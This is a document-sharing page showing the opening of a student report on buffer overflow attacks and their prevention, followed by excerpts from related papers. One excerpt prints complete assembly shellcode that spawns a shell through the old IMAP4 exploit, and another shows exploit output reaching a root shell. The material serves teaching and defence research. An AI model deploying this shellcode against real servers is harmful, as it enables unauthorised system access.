DOCSLIB.ORG

Buffer Overflow Attacks: Detection and Prevention Techniques

Total Page：16

File Type：pdf, Size：1020Kb

Download full-text PDF Read full-text
Buffer Overflow Attacks: Detection and Prevention Techniques Buffer Overflow Attacks: Detection and Prevention Techniques A report submitted in partial fulfilment of the requirements for the award of IASc-INSA-NASI SUMMER RESEARCH FELLOWSHIP Sponsored by Indian Academy of Sciences, Bangalore By ANAMIKA GHOSH Reg No.: ENGS990 Under the guidance of Dr. B.M. Mehtre, Professor Centre for Excellence in Cyber Security Institute for Development and Research in Banking Technology Established by Reserve Bank of India Castle Hills, Road No. 1, Masab Tank, Hyderabad-57, Telengana State July, 2018 1 DECLARATION I hereby declare that the project entitled Buffer Overflow Attacks: Detection and Prevention Techniques, submitted to Indian Academy of Sciences, Bangalore, and at IDRBT, Hyderabad, is prepared by me and was not submitted to any other institution for any fellowship to the best of my knowledge. Anamika Ghosh ENGS990 2 CERTIFICATE This is to certify that the project entitled Buffer Overflow Attacks: Detection and Prevention Techniques submitted to the Indian Academy of Sciences, Bangalore and at IDRBT by ANAMIKA GHOSH, bearing Registration No: ENGS990, in the partial fulfilment for the requirement for the award IASc-INSA-NASI SUMMER RESEARCH FELLOWSHIP is a bonafide work carried out by her under my supervision and guidance. Dr. B.M. Mehtre Professor Project Guide, Centre of Excellence for Cyber Security IDRBT, Hyderabad 3 ACKNOWLEDGEMENT I wish to express my deep sense of gratitude and indebtedness to Prof. B.M. Mehtre, Centre of Excellence in Cyber Security, Institute for Development and Research in Banking Technology (IDRBT) for introducing the topic and for his inspiring guidance, constructive criticism and valuable suggestion throughout the project work. I am thankful to all the staff members at the Centre of Excellence in Cyber Security, IDRBT for their insight and help throughout the project period. I would also like to express my deep sense of gratitude for my family for their unwavering support and encouragement and for being there when I needed them the most. Date: Anamika Ghosh ENGS990 CONTENTS 4 Abstract . 6 Abbreviations . 7 1 Background 1.1 Introduction . 8 1.2 Objectives . 10 2 Literature Review 2.1 The Memory Layout . 11 2.2 Stack . 11 2.3 Types of Buffer Overflows . 13 2.4 Stack Overflow . 13 2.5 Shellcode . 14 3 Buffer Overflow Attack Testing . 15 4 Return-to-LibC Attack . 18 4.1 Experimental Setup . 18 4.2 Testing . 19 5 Prevention and Detection Techniques of Buffer Overflows 5.1 Safe Coding Practices . 24 5.2 Kernel-enforced Protection . 25 i. Non-executable Stack ii. ASLR 5.3 Complier based protection . 26 i. StackGuard ii. ProPolice iii. StackShield 6 Conclusions . 28 References . 29 ABSTRACT 5 With the rapid development of technology all around the globe, more and more people are connected to the internet for more than just connecting with people. It is also used for electronic record keeping, mail, financial transactions through online banking etc. It is essential for this reason that the data involved in these transactions be saved from the hands of malicious attackers who may exploit them for their own interests. Due to various vulnerabilities in a multitude of implemented code, attackers may find ways to exploit user data or cause loss of resources. One of the oldest and common vulnerability, Buffer Overflow has been exploited since the 1980’s and in spite of undertaking various mitigation techniques, it remains as one of the top concerns for security. A large number of web servers, application servers and web application environments may be susceptible to buffer overflows, notable exceptions being environments written in interpreted languages like Java or Python. Buffer Overflows can be used to execute arbitrary code or may lead to crashes which may be used for Denial of Service attacks. Defence techniques such as using safe-string libraries, non-executable memory, ASLR, canary protection, avoiding logic errors in code etc. have been implemented to prevent attackers from exploiting the weaknesses. However, these mitigation efforts are often bypassed by creative techniques used by the attackers when new vulnerabilities are identified in the code of vulnerable programs. This report deals with Buffer Overflow - the most common vulnerability exploited by attackers and some of the common prevention and detection techniques that have been implemented to protect the users from such attacks. The objective of this is to analyze buffer overflow attack techniques such as Stack smashing (Kali Linux) and Return-to libc (on Protostar), the damage that can be incurred when a successful buffer overflow attack is carried out by an intruder and the steps that have been taken to mitigate the repercussions. ABBREVIATIONS 6 ASLR Address Space Layer Randomization BOF Buffer Overflow CPU Central Processing Unit CVE Common Vulnerabilities and Exposures DoS Denial of Service EBP Extended Base Pointer EIP Extended Instruction Pointer ESP Extended Stack Pointer GCC GNU Compiler Collection gdb GNU Debugger msf Metasploit Framework NIST National Institute of Standards Technology NOP No OPeration instruction OS Operating System SSL Secure Socket Layer TLS Transport Layer Security 1. BACKGROUND 1.1 Introduction 7 Cyber Security comprises of technologies, processes and controls that are designed to reduce the risk of cyber attacks and protect systems, networks and data of organizations or individuals from unauthorized exploitation by attackers. Cyber Security is aimed at protecting systems, networks from malicious attacks and provides tools for Authentication, authorization and nonrepudiation that can be used to maintain security with respect to confidentiality, integrity, and availability.[1] With more and more devices connected to the internet, privacy and data security is indispensable but due to various system flaws and vulnerabilities in the existing codes, a system might be open to attackers for exploitation. They may exploit certain vulnerabilities to bypass authentication and gain access to sensitive information on the victim’s system. Buffer Overflow is one of the oldest and common vulnerabilities exploited by attackers which can be used for data corruption, data theft or to gain remote access. Buffer Overflow occurs when the input to a program is larger than the buffer size allocated for it and there is no bounds checking. This allows attackers to overwrite the buffer with malicious code by overrunning the buffer’s boundary and writing into the adjacent memory locations. This is particularly noticeable in C and C++ programming languages which allow direct access to memory and provide no built-in protection against accessing or overwriting data in any part of memory. They do not automatically check whether the data written to an array is within the boundaries of that array[2]. Nevertheless, a lot of security-critical programs are written in C. Of the various forms of BOF Attacks, the most vulnerable and widely exploited memory region is the Stack which is little-endian and the very nature of it makes it an easy target for intruders to exploit. According to a study of top vulnerabilities with respect to NIST over a span of 7 years (as of 2014), it shows that Buffer errors is one of the most common vulnerabilities constituting almost 12% of the total vulnerabilities reported and accounted for 22-23% of the total severe vulnerabilities (Homae and Shahriari, 2017) [35]. The first known Buffer Overflow Attack was carried out by the Morris Worm in 1988 which was one of the first computer worms to be propagated on a large scale on the internet. It exploited Buffer Overflow vulnerabilities in the finger daemon [using vulnerable gets() call] of UNIX and caused several computers to crash and rendered them unusable unless reformatted. The large scale impact of the worm may be attributed to its spreading mechanism which often allowed it to replicate itself multiple times thereby causing the systems to crash. However, after the news of the existence of such a fatal vulnerability in the common software codes became known, it initiated multiple attempts by adversaries to use it for gaining access to other systems. BOF Attacks accounted for 14 percent of the total attacks over the past 25 years (as of 2013) [15]. Among other major internet worms, Code Red worm exploited BOF vulnerability in Microsoft’s IIS 5.0(Internet Information Services) in 2001 which caused almost 2.5 billion USD in damages [22]. Another well known vulnerability is the Heartbleed bug of April, 2014(CVE-2014-0160)[36], which was found in the open source software, OpenSSL that affected a vast majority of the websites, VPN concentrators, client application and mobile devices. TLS (Transport Layer Software, successor to SSL) is used to secure connection between two end points to prevent intruders from gaining access to sensitive information. However, after the initial handshake, when data transfer is completed, the connection is terminated. Heartbeat extension was added to keep the connection open by default even when data transfer had ceased as long as the client continues to receive Heartbeat response to its corresponding request. The attacker could exploit the BOF vulnerability by constructing a request with a payload length as high as 65,535 bytes and as a result, the OpenSSL implementation placed the tainted input into memory(without checking the size of the payload) and copied the section of memory up to the attacker’s specified payload length into the heartbeat response. This could lead to leak of information ranging from usernames, passwords, to possibly encryption keys. 8 Even though Buffer Overflow vulnerabilities can be minimized by using library functions with bounds checking and reducing programming errors but in spite of taking proper precautions, programmers tend to make mistakes and hence other forms of detection techniques have also been applied to the modern OS. Unlike C and C++, buffer overflow is not a problem in Java programming language. Fuzzing, an automated software testing technique is often used to detect bugs in a program by providing random data as the input to detect unpredictable behaviour due to vulnerabilities [13].
Load more

Recommended publications
  • Tesi Final Marco Oliverio.Pdf
    i Abstract Advancements in exploitation techniques call for the need of advanced defenses. Modern operating systems have to face new sophisticate attacks that do not rely on any programming mistake, rather they exploit leaking information from computational side effects (side-channel attacks) or hardware glitches (rowhammer attacks). Mitigating these new attacks poses new challanges and involves delicate trade-offs, balancing security on one side and performance, simplicity, and compatibility on the other. In this disseration we explore the attack surface exposed by page fusion, a memory saving optimization in modern operating systems and, after that, a secure page fusion implementation called VUsion is shown. We then propose a complete and compatible software solution to rowhammer attacks called ZebRAM. Lastly, we show OpenCAL, a free and general libray for the implementation of Cellular Automata, that can be used in several security scenarios. iii Acknowledgements I would like to thank my Supervisor prof. Andrea Pugliese for the encouragement and the extremely valuable advice that put me in a fruitful and exciting research direction. A hearty acknowledgment goes to Kaveh Razavi, Cristiano Giuffrida, Herbert Bos and all the VUSec group of the Vrije Universiteit of Amsterdam. I felt at home from day one and I found myself surrounded by brilliant researchers and good friends. v Contents Abstract i Acknowledgements iii Introduction1 1 VUsion3 1.1 Introduction...................................3 1.2 Page Fusion...................................5 1.2.1 Linux Kernel Same-page Merging...................5 1.2.2 Windows Page Fusion.........................7 1.3 Threat Model..................................8 1.4 Known Attack Vectors.............................8 1.4.1 Information Disclosure.........................8 1.4.2 Flip Feng Shui.............................9 1.5 New Attack Vectors..............................
    [Show full text]
  • An In-Depth Study with All Rust Cves
    Memory-Safety Challenge Considered Solved? An In-Depth Study with All Rust CVEs HUI XU, School of Computer Science, Fudan University ZHUANGBIN CHEN, Dept. of CSE, The Chinese University of Hong Kong MINGSHEN SUN, Baidu Security YANGFAN ZHOU, School of Computer Science, Fudan University MICHAEL R. LYU, Dept. of CSE, The Chinese University of Hong Kong Rust is an emerging programing language that aims at preventing memory-safety bugs without sacrificing much efficiency. The claimed property is very attractive to developers, and many projects start usingthe language. However, can Rust achieve the memory-safety promise? This paper studies the question by surveying 186 real-world bug reports collected from several origins which contain all existing Rust CVEs (common vulnerability and exposures) of memory-safety issues by 2020-12-31. We manually analyze each bug and extract their culprit patterns. Our analysis result shows that Rust can keep its promise that all memory-safety bugs require unsafe code, and many memory-safety bugs in our dataset are mild soundness issues that only leave a possibility to write memory-safety bugs without unsafe code. Furthermore, we summarize three typical categories of memory-safety bugs, including automatic memory reclaim, unsound function, and unsound generic or trait. While automatic memory claim bugs are related to the side effect of Rust newly-adopted ownership-based resource management scheme, unsound function reveals the essential challenge of Rust development for avoiding unsound code, and unsound generic or trait intensifies the risk of introducing unsoundness. Based on these findings, we propose two promising directions towards improving the security of Rust development, including several best practices of using specific APIs and methods to detect particular bugs involving unsafe code.
    [Show full text]
  • Automated Malware Analysis Report for Shellcode.Exe
    ID: 205432 Sample Name: shellcode.exe Cookbook: default.jbs Time: 00:40:30 Date: 04/02/2020 Version: 28.0.0 Lapis Lazuli Table of Contents Table of Contents 2 Analysis Report shellcode.exe 3 Overview 3 General Information 3 Detection 3 Confidence 3 Classification 4 Analysis Advice 4 Mitre Att&ck Matrix 5 Signature Overview 5 AV Detection: 5 System Summary: 5 Data Obfuscation: 5 Malware Configuration 5 Behavior Graph 5 Simulations 6 Behavior and APIs 6 Antivirus, Machine Learning and Genetic Malware Detection 6 Initial Sample 6 Dropped Files 6 Unpacked PE Files 6 Domains 6 URLs 6 Yara Overview 7 Initial Sample 7 PCAP (Network Traffic) 7 Dropped Files 7 Memory Dumps 7 Unpacked PEs 7 Sigma Overview 7 Joe Sandbox View / Context 7 IPs 7 Domains 7 ASN 7 JA3 Fingerprints 7 Dropped Files 7 Created / dropped Files 8 Domains and IPs 8 Contacted Domains 8 Contacted IPs 8 Static File Info 8 General 8 File Icon 8 Static PE Info 8 General 8 Entrypoint Preview 9 Data Directories 10 Sections 10 Imports 11 Network Behavior 11 Code Manipulations 11 Statistics 11 System Behavior 11 Disassembly 11 Copyright Joe Security LLC 2020 Page 2 of 11 Analysis Report shellcode.exe Overview General Information Joe Sandbox Version: 28.0.0 Lapis Lazuli Analysis ID: 205432 Start date: 04.02.2020 Start time: 00:40:30 Joe Sandbox Product: CloudBasic Overall analysis duration: 0h 2m 15s Hypervisor based Inspection enabled: false Report type: light Sample file name: shellcode.exe Cookbook file name: default.jbs Analysis system description: Windows 10 64 bit (version 1803)
    [Show full text]
  • Smashing the Stack for Fun and Profit
    Introduction Since the famous article "Smashing the Stack for fun and profit" by aleph1 there have been countless papers about buffer overflows, why then should there be another one? Because I have read most of them and they lack the specifics of the technique, why everything happens and how to react in case of a change and why you have to react. Most of the papers out there are really notes. I can say that this has been explicitly written as a formal paper. Examples are made and also live examples are done of the different techniques and they all should work, if they don't drop me an email, although they have been tested on Slackware 7.0, 7.1 and RedHat 6.0, 6.2 and 7.0, all examples have been revisited on Slackware 9.0, RedHat 8.0 and Mandrake 9.0, Windows 2000 and Solaris on SPARC architecture. During this chapter we will have some standards, I'll use and example to illustrate them: nahual@fscking$ ./exploit1 [ + ] Example 1 for The Tao of Buffer Overflows [ + ] [ + ] Coded by Enrique A. Sanchez Montellano [ + ] Using address 0xbffff9c0 [ + ] Starting exploitation... bash# id As you can see now we've exploited the program uid=0(root) gid=0(root) bash# So as you can see user input will have this type of font, the computer will have normal and comments will have this type of font. And the Tao was born. Functions like strcpy(), strcat(), gets(), sprintf() and all its derivates can be dangerous if not used with care. Why are they not used with care?, Books and classes are not taught with security in mind, the concept of buffer overflows is a concept that is solely for security consultants and hackers, being the first a ramification of the later as far as a lot of people are concerned, so you need special skills to find them and exploit them.
    [Show full text]
  • Ensuring the Spatial and Temporal Memory Safety of C at Runtime
    MemSafe: Ensuring the Spatial and Temporal Memory Safety of C at Runtime Matthew S. Simpson, Rajeev K. Barua Department of Electrical & Computer Engineering University of Maryland, College Park College Park, MD 20742-3256, USA fsimpsom, [email protected] Abstract—Memory access violations are a leading source of dereferencing pointers obtained from invalid pointer arith- unreliability in C programs. As evidence of this problem, a vari- metic; and dereferencing uninitialized, NULL or “manufac- ety of methods exist that retrofit C with software checks to detect tured” pointers.1 A temporal error is a violation caused by memory errors at runtime. However, these methods generally suffer from one or more drawbacks including the inability to using a pointer whose referent has been deallocated (e.g. with detect all errors, the use of incompatible metadata, the need for free) and is no longer a valid object. The most well-known manual code modifications, and high runtime overheads. temporal violations include dereferencing “dangling” point- In this paper, we present a compiler analysis and transforma- ers to dynamically allocated memory and freeing a pointer tion for ensuring the memory safety of C called MemSafe. Mem- more than once. Dereferencing pointers to automatically allo- Safe makes several novel contributions that improve upon previ- ous work and lower the cost of safety. These include (1) a method cated memory (stack variables) is also a concern if the address for modeling temporal errors as spatial errors, (2) a compati- of the referent “escapes” and is made available outside the ble metadata representation combining features of object- and function in which it was defined.
    [Show full text]
  • Improving Memory Management Security for C and C++
    Improving memory management security for C and C++ Yves Younan, Wouter Joosen, Frank Piessens, Hans Van den Eynden DistriNet, Katholieke Universiteit Leuven, Belgium Abstract Memory managers are an important part of any modern language: they are used to dynamically allocate memory for use in the program. Many managers exist and depending on the operating system and language. However, two major types of managers can be identified: manual memory allocators and garbage collectors. In the case of manual memory allocators, the programmer must manually release memory back to the system when it is no longer needed. Problems can occur when a programmer forgets to release it (memory leaks), releases it twice or keeps using freed memory. These problems are solved in garbage collectors. However, both manual memory allocators and garbage collectors store management information for the memory they manage. Often, this management information is stored where a buffer overflow could allow an attacker to overwrite this information, providing a reliable way to achieve code execution when exploiting these vulnerabilities. In this paper we describe several vulnerabilities for C and C++ and how these could be exploited by modifying the management information of a representative manual memory allocator and a garbage collector. Afterwards, we present an approach that, when applied to memory managers, will protect against these attack vectors. We implemented our approach by modifying an existing widely used memory allocator. Benchmarks show that this implementation has a negligible, sometimes even beneficial, impact on performance. 1 Introduction Security has become an important concern for all computer users. Worms and hackers are a part of every day internet life.
    [Show full text]
  • On Trends in Low-Level Exploitation
    On trends in low-level exploitation Christian W. Otterstad Department of Informatics, University of Bergen Abstract Low-level computer exploitation and its mitigation counterpart has accumulated some noteworthy history. Presently, especially in academia, it features a plethora of mitigation techniques and also various possible modes of attack. It has seen numerous developments building upon basic methods for both sides and certain trends have emerged. This paper is primarily an overview paper, focusing especially on x86 GNU/Linux. The basic reasons inherent for allowing low-level exploitability are identified and explained to provide background knowledge. The paper furthermore describes the history, present state of the art and future developments that are topical and appear to be important in the field. Several attack and defense techniques have overlapping notions with not always obvious differences. Herein the notion of the bar being raised for both exploits and mitigation methods is examined and extrapolated upon based on the known relevant present state and history. The difference between academia and the industry is discussed especially where it relates to application of new mitigation techniques. Based on this examination some patterns and trends are identified and a conjecture for the likely future development of both is presented and justified. This paper was presented at the NIK-2016 conference; see http://www.nik.no/. 1 Introduction and earlier related work In 1972 the paper “Computer Security Technology Planning Study” was published [1]. Since then, research surrounding the main ideas in this paper has grown to become a ma- ture and complex field in its own right. There are many different exploitation techniques and mitigation techniques.
    [Show full text]
  • Network Security Project Buffer Overflow Exploitation
    Network Security Project Buffer Overflow Exploitation Samuele Andreoli Nicol`oFornari Giuseppe Vitto Abstract In computer security a buffer overflow is an anomaly where a program, while writing data to a buffer, overruns the buffer’s boundary and overwrites adjacent memory locations. This is a special case of the violation of memory safety. Buffer overflows can alter the way the program operates. This may result in erratic program be- havior, including memory access errors, incorrect results, crashes or a breach in system security. Thus, they are the basis of many software vulnerabilities and can be maliciously exploited. [1] Buffer overflow is a complex and broad topic which requires a solid background in memory man- agement and code execution to be understood (i.e. registers, jumps, interrupts, stack frames). In this project we try to give a taste of stack-based buffer overflow putting our efforts into achieving a linear and relatively simple explanation of the topic. Report layout In Section 1 we describe all the technical details of our working environment. In Section 2 we recall some theoretical background about pointers, registers, etc. With Section 3 the lab starts: we briefly explain how the memory works by introducing gdb, which will be fundamental for the rest of the exercises 1. In Section 4 we present a first buffer overflow that allows the user to access a function which is not intended to be invoked. This is done by overwriting the value of a function pointer. In Section 5 we exploit a buffer overflow in order to execute a shellcode. The main reference for this part is the ground-breaking article Smashing The Stack For Fun And Profit by Aleph One [2].
    [Show full text]
  • Buffer Overflows Buffer Overflows
    L15: Buffer Overflow CSE351, Spring 2017 Buffer Overflows CSE 351 Spring 2017 Instructor: Ruth Anderson Teaching Assistants: Dylan Johnson Kevin Bi Linxing Preston Jiang Cody Ohlsen Yufang Sun Joshua Curtis L15: Buffer Overflow CSE351, Spring 2017 Administrivia Homework 3, due next Friday May 5 Lab 3 coming soon 2 L15: Buffer Overflow CSE351, Spring 2017 Buffer overflows Address space layout (more details!) Input buffers on the stack Overflowing buffers and injecting code Defenses against buffer overflows 3 L15: Buffer Overflow CSE351, Spring 2017 not drawn to scale Review: General Memory Layout 2N‐1 Stack Stack . Local variables (procedure context) Heap . Dynamically allocated as needed . malloc(), calloc(), new, … Heap Statically allocated Data . Read/write: global variables (Static Data) Static Data . Read‐only: string literals (Literals) Code/Instructions Literals . Executable machine instructions Instructions . Read‐only 0 4 L15: Buffer Overflow CSE351, Spring 2017 not drawn to scale x86‐64 Linux Memory Layout 0x00007FFFFFFFFFFF Stack Stack . Runtime stack has 8 MiB limit Heap Heap . Dynamically allocated as needed . malloc(), calloc(), new, … Statically allocated data (Data) Shared Libraries . Read‐only: string literals . Read/write: global arrays and variables Code / Shared Libraries Heap . Executable machine instructions Data . Read‐only Instructions Hex Address 0x400000 0x000000 5 L15: Buffer Overflow CSE351, Spring 2017 not drawn to scale Memory Allocation Example Stack char big_array[1L<<24]; /* 16 MB */ char huge_array[1L<<31]; /* 2 GB */ int global = 0; Heap int useless() { return 0; } int main() { void *p1, *p2, *p3, *p4; Shared int local = 0; Libraries p1 = malloc(1L << 28); /* 256 MB */ p2 = malloc(1L << 8); /* 256 B */ p3 = malloc(1L << 32); /* 4 GB */ p4 = malloc(1L << 8); /* 256 B */ Heap /* Some print statements ..
    [Show full text]
  • The Art of Writing Shellcode, by Smiler
    The Art of Writing Shellcode, by smiler. ---------------------------------------- Hopefully you are familiar with generic shell-spawning shellcode. If not read Aleph's text "Smashing The Stack For Fun And Profit" before reading further. This article will concentrate on the types of shellcode needed to exploit daemons remotely. Generally it is much harder to exploit remote daemons, because you do not have many ways of finding out the configuration of the remote server. Often the shellcode has to be much more complicated, which is what this article will focus on. I will start by looking at the ancient IMAP4 exploit. This is a fairly simple exploit. All you need to do is "hide" the /bin/sh" string in shellcode (imapd converts all lowercase characters into uppercase). None of the instructions in the generic shell-spawning shellcode contain lower-case characters, so you all you need do is change the /bin/sh string. It is the same as normal shellcode, except there is a loop which adds 0x20 to each byte in the "/bin/sh" string. I put in lots of comments so even beginners can understand it. Sorry to all those asm virtuosos :] -----imap.S------- .globl main main: jmp call start: popl %ebx /* get address of /bin/sh */ movl %ebx,%ecx /* copy the address to ecx */ addb $0x6,%cl /* ecx now points to the last character */ loop: cmpl %ebx,%ecx jl skip /* if (ecx<ebx) goto skip */ addb $0x20,(%ecx) /* adds 0x20 to the byte pointed to by %ecx */ decb %cl /* move the pointer down by one */ jmp loop skip: /* generic shell-spawning code */ movl %ebx,0x8(%ebx) xorl %eax,%eax movb %eax,0x7(%ebx) movl %eax,0xc(%ebx) movb $0xb,%al leal 0x8(%ebx),%ecx leal 0xc(%ebx),%edx int $0x80 xorl %eax,%eax inc %al int $0x80 call: call start .string "\x0f\x42\x49\x4e\x0f\x53\x48" -------------- This was a very simple variation on the generic shellcode and can be useful to mask characters that aren't allowed by the protocol the daemon uses.
    [Show full text]
  • Memory Vulnerability Diagnosis for Binary Program
    ITM Web of Conferences 7 03004 , (2016) DOI: 10.1051/itmconf/20160703004 ITA 2016 Memory Vulnerability Diagnosis for Binary Program Feng-Yi TANG, Chao FENG and Chao-Jing TANG College of Electronic Science and Engineering National University of Defense Technology Changsha, China Abstract. Vulnerability diagnosis is important for program security analysis. It is a further step to understand the vulnerability after it is detected, as well as a preparatory step for vulnerability repair or exploitation. This paper mainly analyses the inner theories of major memory vulnerabilities and the threats of them. And then suggests some methods to diagnose several types of memory vulnerabilities for the binary programs, which is a difficult task due to the lack of source code. The diagnosis methods target at buffer overflow, use after free (UAF) and format string vulnerabilities. We carried out some tests on the Linux platform to validate the effectiveness of the diagnosis methods. It is proved that the methods can judge the type of the vulnerability given a binary program. 1 Introduction (or both) the memory area. These headers can contain some information like size, used or not, and etc. Memory vulnerabilities are difficult to detect and diagnose Therefore, we can monitor the allocator so as to especially for those do not crash the program. Due to its determine the base address and the size of the allocation importance, vulnerability diagnosis problem has been areas. Then, check all STORE and LOAD accesses in intensively studied. Researchers have proposed different memory to see which one is outside the allocated area. techniques to diagnose memory vulnerabilities.
    [Show full text]
  • Detecting Exploit Code Execution in Loadable Kernel Modules
    Detecting Exploit Code Execution in Loadable Kernel Modules HaizhiXu WenliangDu SteveJ.Chapin Systems Assurance Institute Syracuse University 3-114 CST, 111 College Place, Syracuse, NY 13210, USA g fhxu02, wedu, chapin @syr.edu Abstract and pointer checks can lead to kernel-level exploits, which can jeopardize the integrity of the running kernel. Inside the In current extensible monolithic operating systems, load- kernel, exploitcode has the privilegeto interceptsystem ser- able kernel modules (LKM) have unrestricted access to vice routines, to modify interrupt handlers, and to overwrite all portions of kernel memory and I/O space. As a result, kernel data. In such cases, the behavior of the entire sys- kernel-module exploitation can jeopardize the integrity of tem may become suspect. the entire system. In this paper, we analyze the threat that Kernel-level protection is different from user space pro- comes from the implicit trust relationship between the oper- tection. Not every application-level protection mechanism ating system kernel and loadable kernel modules. We then can be applied directly to kernel code, because privileges present a specification-directed access monitoring tool— of the kernel environment is different from that of the user HECK, that detects kernel modules for malicious code ex- space. For example, non-executableuser page [21] and non- ecution. Inside the module, HECK prevents code execution executable user stack [29] use virtual memory mapping sup- on the kernel stack and the data sections; on the bound- port for pages and segments, but inside the kernel, a page ary, HECK restricts the module’s access to only those kernel or segment fault can lead to kernel panic.
    [Show full text]